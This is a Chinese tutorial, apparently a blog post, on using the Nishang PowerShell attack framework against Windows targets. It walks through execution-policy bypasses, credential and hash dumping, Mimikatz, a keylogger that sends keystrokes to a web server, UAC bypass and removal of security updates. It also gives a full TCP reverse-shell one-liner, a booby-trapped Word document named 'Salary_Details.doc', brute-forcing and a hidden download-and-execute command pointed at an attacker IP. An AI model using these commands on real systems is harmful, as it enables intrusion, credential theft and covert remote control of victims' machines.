nishanhg
下载地址:https://github.com/samratashok/nishing
 
1.简介
nishang的使用是要在PowerShell 3.0以上的环境中才可以正常使用。也就是说win7下是有点小问题的。因为win7下自带的环境是PowerShell 2.0
 
2.环境准备
查看powershell版本
get-host 或者 $PSVersionTable.PSVersion
 
Win Server 对应的 Powershell的版本如下:
Windows 2008 R2 - Version 2
Windows 2012 - Version 3
Windows 2012 R2 - Version 4
Windows 2016 - Version 5
 
这里我们使用win 10 进行测试:
1.修改执行策略
为防止恶意脚本的运行,powershell 有一个执行策略,默认情况下该执行策略被设置为Restricted受限,而Restricted是不允许任何脚本运行的。
在powershell 脚本无法执行时,可以使用下面的cmdlet命令确定当前的执行策略。
Get-ExecutionPolicy
Restricted: 脚本不能运行(默认设置)
RemoteSigned: 本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字签名的除外)
AllSigned: 仅当脚本由受信任的发布者签名时才能运行
Unrestricted: 允许所有的script脚本运行
 
通过以下cmdlet可以设置Powershell的执行策略
Set-ExecutionPolicy <policy nmae>
在真实的攻击场景之下,我们可以通过以下几种方式Bypass执行策略:
0. Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted //设置当前用户的执行策略为Unrestricted,也算是去更改了当前的全局策略
1. powershell.exe -executionpolicy bypass -Windowstyle hidden -noninteractive -nologo -File //或是下面这种,-Windowstyle hidden 可以让我们的执行无任何弹窗
2. PowerShell.exe -ExecutionPolicy Bypass -File
 
更多Bypass姿势,可以参考Bypass执行策略的十五种方法:
 
2.加载脚本
在导入模块的时候会有警告提示,这里其实已经导入成功了,警告无需理会。
Import-Module ./nishang.psm1 # 导入模块
Get-Command -Module nishang #查看模块列表
 
3.模块及对应功能说明
4.模块使用
4.1.信息收集(Gather)
    1. Check-VM #检测当前机器是否为虚拟机
    2. Invoke-CerdentialsPhish #欺骗目标书记,输入密码
    3. Copy-VSS #利用Volume shadow Copy服务复制sam文件
    4. FireBuster FireListener #对内网扫描,打开本机监听,然后远程传输数据到FireListener
 
4.1.1 Check-VM
他是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)来识别。
 
Get-Information
使用命令 Get-Information,可以列出本机的信息。
这个脚本可以获取目标机器上大量的信息(用户信息、FTP访问,进程,计算机配置信息,安装的软件信息、开启的windows服务信息、无线网络和设备的信息,Hosts信息等)
 
 
Invoke-CredentialsPhish
这个脚本是用来欺骗用户输入账号密码信息的,执行后会弹出登录框欺骗用户输入账号密码信息,
最流氓的是这个框是关不掉的,用户只有输入正确的账号密码这个框才会消失。
直到用户输入正确后这个框才会消失,然后我们就可以得到明文的管理员账号密码:
 
4.1.3 Copy-VSS
PS > Copy-VSS //将会直接把Sam文件保存在当前路径下
PS > Copy-VSS -DestinationDir C:\temp //指定保存sam文件的路径
 
FireBuster FireListener
FireBuster可以对内网进行扫描,本地开了监听,然后它会把包远程传送给FireListener
FireListener -PortRange 130-150
FireBuster 192.168.190.136 130-150 -Verbose
该脚本作者的Github上面还提供了一个Python版的监听端:
 
Get-LSASecret
该脚本可以获取LSA信息,但是使用的前提当然是你已经成功提升了权限的情况下,通常和我们后面提权当中涉及到的Enable-DuplicateToken(帮助我们获得System权限)联合使用。
PS > Enable-DuplicateToken
PS > Get-LsaSecret
PS > Get-LsaSecret -RegistryKey KeyName //还可以指定键名
注:该模块只支持在32位的powershell中运行。
powershell x86
 
Get-PassHashes
这个脚本在Administrator的权限下,可以dump出密码哈希值。这个脚本来自于msf中powerdump,但做出了修改,使得我们不再需要System权限就可以dump了。
PS > Get-PassHashes -PSObjectFormat //可以使用-PSObjectFormat来格式化输出结果
 
Get-WLAN-Keys
在Administrator的权限下,可以利用这个脚本来dump出WLAN文件的密钥信息。实质上,这个脚本就是利用了netsh wlan show profile name=”” key=clear来获取。
PS > Get-WLAN-Keys
 
Keylogger
Keylogger可以保存下用户的键盘记录。
PS > .Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis //-CheckURL参数会去检查所给出的网页之中是否包含 -MagicString后的字符串,如果存在的话就停止使用记录。
PS > .Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis -exfil -ExfilOption WebServer -URL http://192.168.254.226/data/catch.php //将记录指定发送给一个可以记录Post请求的Web服务器
PS > .Keylogger.ps1 -persist //实现持久化记录(重启后依然进行记录)
PS > .Keylogger.ps1 //直接以这种方式来运行,键盘记录会保存在当前用户的Temp目录下key文件中
注:Keylogger模块需要进入Gather目录下才能执行
默认在Temp目录下生成Key文件,这时我们可以使用nishang Utility中的Parse_Keys来解析
PS >Parse_Keys key.log parsed.txt
然后parsed.txt里面就是解析后的按键记录了
 
Invoke-MimikatzWdigestDowngrade
Dump出Windows 8.1 and Server 2012的系统用户密码。 这里使用Server 2012进行测试。
PS >Invoke-MimikatzWDigestDowngrade
PS > Get-Job | Receive-Job
当执行完Invoke-MimikatzWDigestDowngrade计算机会自动锁屏。
dump失败
 
Get-PassHints
这个脚本可以从Windows获得用户的密码的提示信息,需要有Administrator的权限来读取SAM hive。
PS > Get-PassHints
 
屏幕窃取
Show-TargetScreen
使用MJPEG传输目标机器的远程桌面的实时画面,在本机我们可以使用NC或者Powercat来进行监听。在本地使用支持MJPEG的浏览器(如:Firefox)访问本机对应监听端口,即可在浏览器上面看到远端传输回来的实时画面。
目标机器:Show-TargetScreen -Reverse -IPAddress 192.168.190.133 -Port 1521
攻击机:netcat -nlvp 1521 | netcat -nlvp 9999
这里能够接收到源源不断的MJPEG视频流
正向连接窃取屏幕
靶机执行:Show-TargetScreen -Bind -Port 1521
攻击机执行:netcat -nv 192.168.190.147 1521 | netcat -lnvp 9999
之后同样访问本机的9999端口,就能正常访问目标机器的桌面的实时画面了。
 
Invoke-Mimikatz
Invoke-Mimikatz -DumpCerts //Dump出本机的凭证信息
Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2") //Dump出远程两台计算机的凭证信息
Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1" //在远程一台机器上运行Mimikatz并执行"privilege::debug exit"
 
1.域相关脚本
Get-Unconstrained
查找域内开启了Kerberos Unconstrained Delegation的机器。
PS > Get-Unconstrained //返回开启的计算机名
PS > Get-Unconstrained -Details //返回更详细的信息
 
关于”通过Kerberos Unconstrained Delegation获取到域管理员”:
 
2.Antak Webshell
存放于Antak-WebShell目录下,就是一个ASPX的大马,但是命令行是PowerShell,比单纯的cmd强大很多。功能齐全,可以实现编码、执行脚本,上传、下载文件等等。
  1. 上传Webshell后把它当成一个正常的Powershell执行窗口来使用
  2. 上传和下载文件,只需要填写好对应路径点击上传、下载按钮即可
关于Antak Webshell的更多介绍,请参考:
Username:Disclaimer
Password:ForLegitUseOnly
web界面的powershell窗口界面
 
 
4.生成木马
nishang中包含各种木马脚本,可以用来感染各种文件,如hta、word等,用于执行powershell脚本进行隐蔽攻击。
各个脚本的使用方法基本类似,
首先设置监听 nc -nvlp 1521
接着制作word文件,打开nishang\Shells目录下的 Invoke-PowerShellTcpOneLine.ps1文件,
修改远程连接的地址,复制代码:
$client = New-Object System.Net.Sockets.TCPClient('192.168.190.133',1521);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
 
进入powershell命令行下执行如下代码:
Invoke-Encode -DataToEncode '你的代码' -IsString -PostScript
 
Invoke-Encode -DataToEncode '$client = New-Object System.Net.Sockets.TCPClient('192.168.190.133',1521);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' -IsString -PostScript
 
执行完成之后会在当前目录下生成两个文件。一个是encoded.txt 另一个是encodedcommand.txt。
之后执行Out-Word -PayloadScript .encodedcommand.txt
就可以在我们当前文件夹下生成一个名为Salary_Details.doc的doc文件。之后使用nc监听就好
说完了操作,回过头来看看命令行参数
-Payload 后面直接加payload,但是注意引号的闭合
-PayloadURL 传入远程的payload进行生成
-PayloadScript 指定本地的脚本进行生成
-Arguments 之后加要执行的函数。(payload之中有的函数)
-OutputFile 输出的文件名
-WordFileDir 输出的目录地址
-Recurse 在WordFileDir中递归寻找Word文件
-RemoveDocx 创建完成后删除掉原始的文件
 
5.权限提升
Enable-DuplicateToken
这个脚本可以帮助我们在已经获得了一定权限的情况下,使我们提升到System权限。
PS > Enable-DuplicateToken
具体的相关介绍可以查阅:
 
Remove-Update
这个脚本可以帮助我们移除系统所有的更新,或所有安全更新,以及指定编号的更新。
执行方式:
  1. PS > Remove-Update All //移除目标机器上的所有更新
  2. PS > Remove-Update Security //移除目标机器上所有安全相关更新
  3. PS > Remove-Update KB2761226 //移除指定编号的更新
 
Invoke-PsUACme
Invoke-PsUACme使用了来自于UACME项目的DLL来Bypass UAC。
上表给出了各种UAC绕过的方法,我们可以在Invoke-PsUACme中指定相应方法执行。
执行方式:
  1. PS > Invoke-PsUACme -Verbose //使用Sysprep方法和默认的Payload执行
  2. PS > Invoke-PsUACme -method oobe -Verbose //使用oobe方法和默认的Payload执行
  3. PS > Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodedPayload" //使用-Payload参数可以自行指定要执行的Payload
除开以上而外,我们还可以使用-PayloadPath参数来指定Payload的路径,默认情况下Payload会在C:WindowsTempcmd.bat结束。还可以使用-CustomDLL64(64位)或-CustomDLL32(32位)参数来自定义一个DLL文件。
 
关于Invoke-PsUACme模块的具体使用可以参考帮助信息
Get-Help Invoke-PsUACme -Full
 
 
6.扫描
Invoke-BruteForce
这个脚本可以对SQL Server、域控制器、Web以及FTP进行口令的爆破
可以使用 Get-Help Invoke-PortScan -full 查看帮助信息
 
相关链接:
http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/02/use-powershell-for-network-host-and-port-discovery-sweeps.aspx
https://github.com/samratashok/nishang
 
1.端口扫描
Invoke-PortScan
利用这个脚本我们可以在目标机器上对内网进行端口扫描
PS >Invoke-PortScan -StartAddress 192.168.190.1 -EndAddress 192.168.190.254 -ResolveHost -ScanPort -Port 80
主要的参数:
  1. StartAddress 扫描范围开始的地址
  2. EndAddress 扫描范围结束的地址
  3. ScanPort 进行端口扫描
  4. Port 指定扫描端口(默认扫描端口:21,22,23,53,69,71,80,98,110,139,111, 3389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901)
  5. TimeOut 设置超时时间
 
2.弱口令爆破
  1. 爆破域控制器
PS > Invoke-BruteForce -ComputerName targetdomain.com -UserList C:\users.txt -PasswordList C:\wordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose
  1. 爆破SQL Server
PS > Invoke-BruteForce -ComputerName SQLServ01 -UserList C:\users.txt -PasswordList C:\wordlist.txt -Service SQL -Verbose
  1. 爆破server.txt中所有servers的SQL Server
PS > cat C:\servers.txt | Invoke-BruteForce -UserList C:\users.txt -PasswordList C:\wordlist.txt -Service SQL -Verbose
主要的参数:
  1. ComputerName 用于指定对应服务的计算机名
  2. UserList 用户名字典
  3. PasswordList 密码字典
  4. Service 服务类型(注意默认为:SQL)
  5. StopOnSuccess 成功找到一个后就停止执行
 
7.中间人嗅探
Invoke-Interceptor
这个脚本可以通过建立一个代理服务器的方式来拦截HTTPS的请求,并将这些请求记录下来
PS >Invoke-Interceptor -ProxyServer 192.168.190.133 -ProxyPort 3128 //这条命令将默认在8081端口监听并把请求发送给上游代理的3128端口
可以通过ListenPort来修改我们目标机器上的监听端口(默认8081端口)
 
我们在目标机器上执行:Invoke-Interceptor -ProxyServer 192.168.190.133 -ProxyPort 9999
监听机器上执行:netcat -lvvp 9999
 
接收到了来自目标机的请求数据
并且这个脚本会在目标机的TEMP目录下生成interceptor.log的文件来记录请求数据
 
反弹
TCP的shell
正向链接:
目标:PowerShell下执行:Invoke-PowerShellTcp -Bind -Port 1521
攻击机:NC下执行:nc -nv 192.168.190.147 1521
 
反向链接:
目标:在PowerShell下执行:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.190.133 -Port 1433
攻击机:nc -lvp 1433
 
UDP的shell
正向链接:
目标:Invoke-PowerShellUdp -Bind -Port 1521
攻击机:nc -nv 192.168.190.147 1521
反向链接:
目标:在PowerShell下执行:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.190.133 -Port 1433
攻击机:nc -lvp 1433
 
HTTP/HTTPS的shell
HTTP:Invoke-PoshRatHttp -IPAddress 192.168.190.147 -Port 1521
HTTPS:Invoke-PoshRatHttps -IPAddress 192.168.12.147 -Port 1521
 
运行完命令会生成一条powershell命令,将该命令在目标机器cmd下运行本机即可获得shell
powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-
Object Net.WebClient).DownloadString('http://192.168.190.147:1521/connect'))
目标机器运行完上述命令cmd会自动关闭,同时攻击机获得shell
 
参考

PowerShell攻击:nishang的更多相关文章

  1. Kali社会工程学攻击--powershell 攻击(无视防火墙)

    1.打开setoolkit 输入我们反弹shell的地址与端口 2.修改我的shellcode 3.攻击成功

  2. Powershell渗透测试系列–进阶篇

    原文来自:https://bbs.ichunqiu.com/thread-41561-1-1.html i春秋作家:anyedt 0×00 引言 经过基础篇的学习我们已经对powershell有了一个 ...

  3. 11.PowerSploit攻击指南

    本人小白,写这篇文章主要记录一下自己的PowerShell学习之路,大牛请绕道:https://www.anquanke.com/subject/id/90541 首先PowerShell的攻击工具有 ...

  4. nishang的介绍与使用

    0x01前言 Nishang是一个PowerShell攻击框架,它是PowerShell攻击脚本和有效载荷的一个集合.Nishang被广泛应用于渗透测试的各个阶段,本文主要介绍如何使用Nishang的 ...

  5. [Shell]Powershell反弹shell

    原作者:Cream 文章出处: 贝塔安全实验室 0x01 Powershell反弹shell Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 . ...

  6. PowerShell入门学习

    一.概要 Powershell是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境. powershell需要.NET环境的支持,同时支持.NET对象.之所以将Powershell ...

  7. Final——Nishang

    一.介绍 Nishang是基于PowerShell的渗透测试专用工具,它集成了框架.脚本和各种payload,被广泛应用于渗透测试的各个阶段. 二.使用 下载脚本工具:Nishang Nishang需 ...

  8. 2018-2019-2 20165330《网络对抗技术》Exp10 Final 基于PowerShell的渗透实践

    目录 实验内容 实验步骤 实验中遇到的问题 实验总结与体会 实验内容 PoweShell简介 PowerShell入门学习 PowerShell渗透工具介绍 相关渗透实践分析 ms15-034之Pow ...

  9. 基于ArduinoLeonardo板子的BadUSB攻击实战

    0X00 前言 在Freebuf上许多同学已经对HID攻击谈了自己的看法,如维克斯同学的<利用Arduino快速制作Teensy BadUSB>无论从科普还是实践都给我们详尽的描述了Bad ...

随机推荐

  1. [VB.NET Tips]字符串连接

    在很多应用场景下我们都需要对字符串进行拼接操作. 在每一次连接字符串时,都要在堆上分配新的内存空间,每一个分配都有一定的消耗. 较长的字符串在堆中分配,对其进行连接操作需要花费很长的时间,先连接小的字 ...

  2. Jenkins 结合 Docker 为 .NET Core 项目实现低配版的 CI&CD

    随着项目的不断增多,最开始单体项目手动执行 docker build 命令,手动发布项目就不再适用了.一两个项目可能还吃得消,10 多个项目每天让你构建一次还是够呛.即便你的项目少,每次花费在发布上面 ...

  3. java数据结构——栈(Stack)

    学习数据结构与算法是枯燥的,但只有坚持不懈的积累,才会有硕果累累的明天. /** * 继续学习Java数据结构 ————栈 * 栈的实现其实还是使用数组,只不过我们不能直接访问数组下标,而是通过一个指 ...

  4. pt-archiver归档数据 源库和目标库是否会出现不一致

    背景 归档的表在源库和目标库都要存在 pt-archiver归档表的场景有:不删原表数据,非批量插入目标库:不删原表数据,批量插入目标库:非批量删除原表数据,非批量插入目标库:批量删除原表数据,批量插 ...

  5. 读《深入理解Elasticsearch》点滴-查询模版(结合官网手册,版本5.1)

    1.为什么使用查询模版 让应用程序开发者只需要把查询传递给elasticsearch,而不需要考虑查询语句的构造.查询DSL语法.查询结果过滤等细节知识. 2.使用版本5.1,查询模版在5.6中发生变 ...

  6. thymeleaf 将后端绑定数据直接传递js变量

    根据自我需求,thymeleaf可以直接将后端数据传递给js中进行使用,例如: 1.后端接口数据: @Controllerpublic class TestController { @RequestM ...

  7. spring系列常用注解

    常见注解使用 - @SpringBootApplication,springboot的核心注解,用于开启自动配置,等效于@Configuraion.@ComponentScan和@EnableAuto ...

  8. eShopOnContainers学习系列(三):RabbitMQ消息总线实践

    今天研究了下eShopOnContainers里的RabbitMQ的使用,在项目里是以封装成消息总线的方式使用的,但是仍然是以其发布.订阅两个方法作为基础封装的,我们今天就来实际使用一下. 为了简单起 ...

  9. php一行代码获取本周一,本周日,上周一,上周日,本月一日,本月最后一日,上月一日,上月最后一日日期

    <?php //本周一 echo date('Y-m-d', (time() - ((date('w') == 0 ? 7 : date('w')) - 1) * 24 * 3600)); // ...

  10. 从零开始入门 K8s | 应用存储和持久化数据卷:核心知识

    作者 | 至天 阿里巴巴高级研发工程师 一.Volumes 介绍 Pod Volumes 首先来看一下 Pod Volumes 的使用场景: 场景一:如果 pod 中的某一个容器在运行时异常退出,被 ...